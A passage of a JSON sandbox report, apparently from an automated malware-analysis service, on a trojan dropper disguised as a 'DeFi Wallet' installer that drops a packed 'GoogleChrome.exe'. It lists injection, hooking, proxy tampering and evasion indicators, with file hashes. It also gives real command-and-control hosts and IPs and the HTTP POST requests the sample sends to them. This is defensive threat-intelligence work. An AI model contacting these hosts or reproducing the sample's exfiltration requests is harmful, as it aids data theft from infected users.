Call","mitre_attack_id":"T1070.004","relevance":10,"id":"api-26","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"System Destruction","name":"Opens file with deletion access rights","description":"$32","origin":"API Call","mitre_attack_id":"T1070.004","relevance":7,"id":"api-25","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"GoogleChrome.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYOVERRIDE\")\n \"GoogleChrome.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYSERVER\")\n \"GoogleChrome.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\"; Key: \"PROXYENABLE\"; Value: \"00000000\")\n \"GoogleChrome.exe\" (Access type: \"DELETEVAL\"; Path: \"HKLM\\SOFTWARE\\WOW6432NODE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")\n \"GoogleChrome.exe\" (Access type: \"DELETEVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\")","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"CRC value set in PE header does not match actual value","description":"\"StdUtils.dll\" claimed CRC 142210 while the actual is CRC 58823\n \"nsProcess.dll\" claimed CRC 55001 while the actual is CRC 140732\n \"d3dcompiler_47.dll\" claimed CRC 4543574 while the actual is CRC 56850","origin":"Static Parser","relevance":10,"id":"static-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Entrypoint in PE header is within an uncommon section","description":"\"GoogleChrome.exe\" has an entrypoint in section \"UPX1\"","origin":"Static Parser","relevance":10,"id":"static-4","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Imports suspicious APIs","description":"UnhandledExceptionFilter\n WriteFile\n GetModuleFileNameW\n IsDebuggerPresent\n GetModuleFileNameA\n LoadLibraryExW\n TerminateProcess\n GetModuleHandleExW\n GetModuleHandleExA\n LoadLibraryA\n GetStartupInfoW\n GetFileSizeEx\n FindNextFileW\n FindFirstFileExW\n GetProcAddress\n CreateFileW\n GetCommandLineW\n SleepConditionVariableSRW\n GetCommandLineA\n GetModuleHandleW\n LoadLibraryW\n VirtualProtect\n VirtualAlloc\n RegCloseKey\n RegOpenKeyExW\n GetVersionExW\n GetTickCount\n OutputDebugStringA\n GetFileAttributesW\n Sleep\n ShellExecuteW\n ShellExecuteExW\n GetWindowThreadProcessId\n OpenProcess\n CreateThread\n ExitThread\n CreateRemoteThreadEx\n DeleteFileW\n GetSystemInfo\n GetModuleHandleA\n GetDriveTypeW\n recv\n socket\n bind\n accept\n WSAStartup\n send\n closesocket\n listen\n InternetOpenW\n OpenProcessToken\n GetTempPathW\n DeviceIoControl\n GetFileSize\n CreateDirectoryW\n FindFirstFileW\n FindWindowExW\n GetUserNameW\n CreateFileMappingW\n MapViewOfFile\n CreateProcessW\n SetWindowsHookExW\n RegOpenKeyExA\n RegEnumKeyExA\n MapViewOfFileEx\n CreateFileA","origin":"Static Parser","relevance":1,"id":"static-1","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Installs hooks/patches the running process","description":"$33","origin":"Hook Detection","mitre_attack_id":"T1056.004","relevance":10,"id":"hooks-8","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Reads information about supported languages","description":"\".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"GoogleChrome.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"GoogleChrome.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"GoogleChrome.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \".exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\LOCALE\"; Key: \"00000409\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Timestamp in PE header is very old or in the future","description":"\"d3dcompiler_47.dll\" claims program is from Sat Apr 18 07:26:12 2099","origin":"Static Parser","relevance":10,"id":"static-3","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a large number of Antivirus engines","description":"28/65 Antivirus vendors marked sample as malicious (43% detection rate)","origin":"External System","relevance":10,"id":"avtest-3","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"External Systems","name":"Sample was identified as malicious by a trusted Antivirus engine","description":"No specific details available","origin":"External System","relevance":10,"id":"avtest-5","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"General","name":"The analysis extracted a file that was identified as malicious","description":"55/71 Antivirus vendors marked dropped file \"GoogleChrome.exe\" as malicious (classified as \"Gen:Variant.Razy\" with 77% detection rate)","origin":"Binary File","relevance":10,"id":"binary-11","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"General","name":"The analysis spawned a process that was identified as malicious","description":"55/71 Antivirus vendors marked spawned process \"GoogleChrome.exe\" (PID: 2892) as malicious (classified as \"Gen:Variant.Razy\" with 77% detection rate)","origin":"Monitored Target","relevance":10,"id":"target-58","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Allocates virtual memory in a remote process","description":"\"GoogleChrome.exe\" allocated memory in \"%ALLUSERSPROFILE%\\Microsoft\\CM202025.exe\"","origin":"API Call","mitre_attack_id":"T1055.012","relevance":7,"id":"api-20","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$34","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system","description":"ExitWindowsEx@USER32.DLL at 00000000-00003772-48406-1-004039ED\n ExitWindowsEx@USER32.DLL at 00000000-00003772-50244-1-004039ED","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1529","relevance":5,"id":"stream-23","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"incidents":[{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"POSTs files to a webserver"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Writes data to a remote process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"},{"detail":"Installs hooks/patches the running process"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Fingerprint","details_count":9,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Reads the cryptographic machine GUID"},{"detail":"Reads the windows installation language"},{"detail":"Queries the internet cache settings (often used to hide footprints in index.dat or internet cache)"},{"detail":"Reads the active computer name"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"},{"detail":"Contains ability to retrieve information about the current system"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Evasive","details_count":6,"details":[{"detail":"Marks file for deletion"},{"detail":"PE file has a section name known to be used by a packer/protector"},{"detail":"Contains ability to check if a debugger is running"},{"detail":"Contains ability to adjust token privileges"},{"detail":"Contains ability to detect virtual environment (API)"},{"detail":"Input file contains API references not part of its Import Address Table (IAT)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 6 domains and 6 hosts"}],"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}]},"activity":{"stats":{"process_count":3,"spawned_processes_count":3,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":6,"imported_dlls_count":100,"dropped_files_count":0,"extracted_files_count":34,"files_written_count":83,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":2,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":7,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":3,"dns_resolutions_count":6,"contacted_urls_count":3,"http_requests_count":3},"behavior_tags":["backdoor"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"634f7036b17d98252a09880d","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"Trojan.Dropper","contacted_countries":["KOR"],"submit_name":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","analysis_start_time":"2022-10-19T03:34:30+00:00","indicators_count":{"informative":53,"suspicious":71,"malicious":8},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"110.10.189.167","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"address":"175.207.13.8","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"address":"121.88.249.120","port":80,"protocol":"TCP","country":"Korea, Republic of","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"dns_resolutions":[{"domain":"bitseed.xf2.org","country":"-","registrar_name":"Register4Less, Inc.","registrar_organization":"3501256 Canada, Inc.","registrar_name_servers":"NS1.DNSPARK.NET","registrar_creation_date":"2006-12-22T14:39:06+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"domain":"emsystec.com","address":"110.10.189.167","ttl":3600,"country":"Korea, Republic of","registrar_name":"Whois Corp.","registrar_name_servers":"NC.KRGOLD.CO.KR","registrar_creation_date":"2015-09-15T08:57:32+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"domain":"www.gyro3d.com","address":"175.207.13.8","ttl":3600,"country":"Korea, Republic of","registrar_name":"HANGANG SYSTEMS,INC. D/B/A DOREGI.COM","registrar_organization":"Kim Byeongmok","registrar_name_servers":"NS1.DOREGI.COM","registrar_creation_date":"2008-03-18T14:58:29+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"domain":"www.newbusantour.co.kr","address":"121.88.249.120","ttl":600,"country":"Korea, Republic of","registrar_name":"Asadal, Inc.(http://www.asadal.co.kr)","registrar_name_servers":"ns15.dnsever.com","registrar_creation_date":"2004-02-19T00:00:00+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"domain":"x9.seed.defichain.io","ttl":900,"country":"-","registrar_name":"NAMECHEAP INC","registrar_name_servers":"NS-517.AWSDNS-00.NET","registrar_creation_date":"2019-08-22T12:14:24+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"domain":"x9.seed.mydeficha.in","ttl":1800,"country":"-","registrar_name":"InterNetX GmbH","registrar_name_servers":"nsa7.schlundtech.de","registrar_creation_date":"2021-02-06T08:19:02+00:00","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"http_requests":[{"host":"emsystec.com","host_ip":"110.10.189.167:80","url":"/include/inc.asp","method":"POST","header":"POST /include/inc.asp HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: emsystec.com\nContent-Length: 80\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"host":"www.gyro3d.com","host_ip":"175.207.13.8:80","url":"/common/faq.asp","method":"POST","header":"POST /common/faq.asp HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: www.gyro3d.com\nContent-Length: 80\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"host":"www.newbusantour.co.kr","host_ip":"121.88.249.120:80","url":"/gallery/left.asp","method":"POST","header":"POST /gallery/left.asp HTTP/1.1\nContent-Type: application/x-www-form-urlencoded\nUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3)\nHost: www.newbusantour.co.kr\nContent-Length: 80\nCache-Control: no-cache","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}],"processes":[{"pid":2896,"ppid":0,"name":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe","command_line":"","sha256":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f","normalized_path":"C:\\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe","uid":"00000000-00002896","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAACaUlEQVR42u2Xz0tUURTHn/0ikmgREZUhGrkQxOnHJshNRIQi/cAoKCpJIghs00KoVkGb/ok2rc1GchpNS0sda+wHae1aRRuxVQvD977d08zl3XfPuc/58WYTfeHD3PvOO+d837v3zbzxvP8qU7j3Bbi7yLmzoFhETZou9U0BAwtl8bhtIBkzuP0Z1VBd81ufkASVNb/5EUnSqEqW3vz6e8Ry/ytE9eZj80pr3jsPkT5VJFBNrqqxHxQaXs5zExRy1VC5axu49A6M83PyFVNM69p8NHYlD6lWfPMLb8G4WGxC4xsfok3omDk25+YxC7eBHnWlNubtpvmZXNigZy461mhRrlCz1dvBTeC0Cp6a5XTPhgW7Z4BzxQarQSGuZedpnc2x2PfjTwUDXaq4Dd1yfQck0Tnm2CT9wx3rnBYMnHgDhqRVhyE79+R0+FQItbmBY6/BIHVMwRkzFXeOEOMGOibB+LuJchBjtuLOEWLcwJFXYJgiM0HMcti5RyfDJRBqcwOHJoDDL6O0jbs3IBWmc7Ts3KWVwvHlFR5TcAMp5ax9nNOcDZuk1PzgRHhH2g2Ddp7WAV5zuPGB/GWE1hdg+MVCDc8L85axsDjNzbFGL00ASDXd34QtoxAh0efy7+gy6JgeE+a+EGr5+7NuAymvGWjKcvaNyvugyVieb794TGDtX8OGDJyQ9mbCq9yalo058v09mRLfCXaNIJadI9FHkjbkT7U8uzOxeeW9km1/hiSp7L1w2zCSoKo3Y3/LEFCfrgjKTe4f0SZlpET8jYO1+Ye02duAmbqH8OsGgXVPLIbwaH1/bRr/0/oDn7XiAouSDdgAAAAASUVORK5CYII="},{"pid":2892,"ppid":2896,"name":"GoogleChrome.exe","command_line":"\"C:\\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe\"","sha256":"49953677d3c3ab067f00f5dc172b4f6dcac7967f90f8d88cf2bd1a76f640e567","normalized_path":"%ALLUSERSPROFILE%\\Microsoft\\GoogleChrome.exe","parent_uid":"00000000-00002896","uid":"00000000-00002892"},{"pid":3772,"ppid":2892,"name":"0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe","command_line":"","sha256":"79dde0973b8a66a7bcbbeb9a24276cc04233ac7fc9032988555124fc559b0eb6","normalized_path":"C:\\0d683f56f2b3d836a6576c2d33701144a582b9815f9437407c240aa97601fb8f.exe","parent_uid":"00000000-00002892","uid":"00000000-00003772"}],"all_imported_dlls":["rsaenh.dll","ole32.dll","nsi.dll","wship6.dll","dwmapi.dll","nsProcess.dll","actxprxy.dll","shdocvw.dll","ntdll.dll","normaliz.dll","iertutil.dll","netprofm.dll","wshqos.dll","dhcpcsvc6.dll","riched20.dll","ntmarta.dll","msctf.dll","wow64.dll","msvcrt.dll","winsta.dll","setupapi.dll","IconCodecService.dll","msasn1.dll","slc.dll","shlwapi.dll","api-ms-win-downlevel-user32-l1-1-0.dll","mswsock.dll","ntshrui.dll","kernel32.dll","oleaut32.dll","version.dll","dnsapi.dll","npmproxy.dll","comctl32.dll","Wldap32.dll","nsDialogs.dll","KernelBase.dll","secur32.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","IPHLPAPI.DLL","oleacc.dll","oleaccrc.dll","comdlg32.dll","nsis7z.dll","sechost.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-shlwapi-l2-1-0.dll","RpcRtRemote.dll","srvcli.dll","wow64win.dll","shell32.dll","winnsi.dll","wtsapi32.dll","WindowsCodecs.dll","sxs.dll","linkinfo.dll","cscapi.dll","rpcrt4.dll","cabinet.dll","urlmon.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","nlaapi.dll","netutils.dll","lpk.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","wininet.dll","WSHTCPIP.DLL","userenv.dll","shfolder.dll","crypt32.dll","devobj.dll","StdUtils.dll","wow64cpu.dll","api-ms-win-core-synch-l1-2-0.dll","sspicli.dll","cryptbase.dll","clbcatq.dll","psapi.dll","ieproxy.dll","gdi32.dll","ws2_32.dll","cryptsp.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","profapi.dll","advapi32.dll","cfgmgr32.dll","UAC.dll","user32.dll","usp10.dll","rasadhlp.dll","FWPUCLNT.DLL","propsys.dll","System.dll","tiptsf.dll","imm32.dll","apphelp.dll","fltLib.dll","dhcpcsvc.dll","uxtheme.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"GoogleChrome.exe","sha256":"49953677d3c3ab067f00f5dc172b4f6dcac7967f90f8d88cf2bd1a76f640e567","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"Uninstall DeFi Wallet.exe","sha256":"a1bfe175c04c8eee169e95ba31ffef24bd673df9fd400bae439fb1ec8d7646d7","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"d3dcompiler_47.dll","sha256":"44422e6936dc72b7ac5ed16bb8bcae164b7554513e52efb66a3e942cec328a47","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"ffmpeg.dll","sha256":"f30d30e28ac7d14d6aaccd28f4fc92a47440bd8b7109bd3c44572ac85ea3ca6d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"elevate.exe","sha256":"9b1fbf0c11c520ae714af8aa9af12cfd48503eedecd7398d8992ee94d1b4dc37","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"snapshot_blob.bin","sha256":"a137e8527f1db6beae7e6a135859dcbd4c8d2c8789bc3bbf47662627a3e537db","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"libEGL.dll","sha256":"5c472a5929a4829036f730735d065a34dc8789041b415c57b0905e022e839e06","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"libGLESv2.dll","sha256":"bc911007b2f8bbfa769c8284e262eaffbc392191dd3ad85a8920d54d21720e42","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"v8_context_snapshot.bin","sha256":"9cc3c86088867f6e822c370439e7c7707e0429a82007d1b1440bcabc229e717a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"vk_swiftshader.dll","sha256":"a16da326432f8776732e87a7049998baa9a257b5d240e9667824980e7b22411e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"vulkan-1.dll","sha256":"d2b79d713fde37fba9de6f8f30fe14b4f8009b9102bf08aec67819f793d76b32","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"StdUtils.dll","sha256":"b72e9013a6204e9f01076dc38dabbf30870d44dfc66962adbf73619d4331601e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"System.dll","sha256":"3eb38ae99653a7dbc724132ee240f6e5c4af4bfe7c01d31d23faf373f9f2eaca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"UAC.dll","sha256":"2f7f8fc05dc4fd0d5cda501b47e4433357e887bbfed7292c028d99c73b52dc08","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"WinShell.dll","sha256":"9be85b986ea66a6997dde658abe82b3147ed2a1a3dcb784bb5176f41d22815a6","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"nsDialogs.dll","sha256":"1e40211af65923c2f4fd02ce021458a7745d28e2f383835e3015e96575632172","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"nsProcess.dll","sha256":"30c6c3dd3cc7fcea6e6081ce821adc7b2888542dae30bf00e881c0a105eb4d11","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"nsis7z.dll","sha256":"b393f05e8ff919ef071181050e1873c9a776e1a0ae8329aefff7007d0cadf592","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"DeFi Wallet.lnk","sha256":"a6a920cd0269d231d77532de70af00efa613abb629324a70bf6709b27a44ce73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"DO_NOT_SAVE_WALLETS_HERE.txt","sha256":"40fcbb81baf40f6f7cdfb2686ecc77475f767d85ca1dbccb68ae0fd0b92185ca","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"LICENSE.electron.txt","sha256":"5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"chrome_100_percent.pak","sha256":"69a3916ed3a28cd5467b32474a3da1c639d059abbe78525a3466aa8b24c722bf","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"chrome_200_percent.pak","sha256":"ed8afe63f5fc494fd00727e665f7f281600b09b4f4690fa15053a252754e9d57","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"am.pak","sha256":"bd1a60f7fd63da2230509211f858866ed782767f580b8ce4740ad2060d3c5d9b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"ar.pak","sha256":"8407ba456e51177358e6ce1e82c33e5e279eaeb553ee38db9f0994ec57c2e246","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"bg.pak","sha256":"2b93afb50cd154464b7b40c8d0015db09b69f3341f0bd75d190c033c4ec4c72d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"bn.pak","sha256":"706681208f6e0c2508c55ac7fb8bf510a133cd66f6977c3da3439526269a1c0a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"ca.pak","sha256":"4d96243f37cb8fff76fa55cb71667f010cb002ed8ee6741a216c89e6aca3fd73","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"cs.pak","sha256":"10c892b0722d117b4c3c55776f8fe4b2ef1631dde91d23a9f7ef44f7acf0c60e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"da.pak","sha256":"450184b07e707cc80f7f7b331cd7d95aeb10c22e6936fb50d438de24c9dc3ba5","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"de.pak","sha256":"28e394fd4dfcb0ee3ad947a8e276af7ec1501f30e820ba42270d2d7f03ebf745","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"el.pak","sha256":"9ea03f3937d9312af696d6c0a3071fa8c0ddb1b6259272cc0d9be2e09ddc3d27","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"en-GB.pak","sha256":"dc908ecd302ce83d9dc091b15011497eb7de87999c4e5b895b6e85e24cb7c835","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"name":"en-US.pak","sha256":"1673652b703771ef352123869e86130c9cb7c027987753313b4c555a52992bab","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]}],"files_written":[{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%APPDATA%\\Microsoft\\Windows\\Cookies","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\DO_NOT_SAVE_WALLETS_HERE","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\de.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\fr.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\ja.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\locales\\sl.pak","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi Wallet\\resources\\app.asar.unpacked\\node_modules\\7zip-bin\\7x.sh","sources":[{"report_type":"sandbox","report_id":"634f7036b17d98252a09880d"}]},{"path":"%LOCALAPPDATA%\\Programs\\DeFi 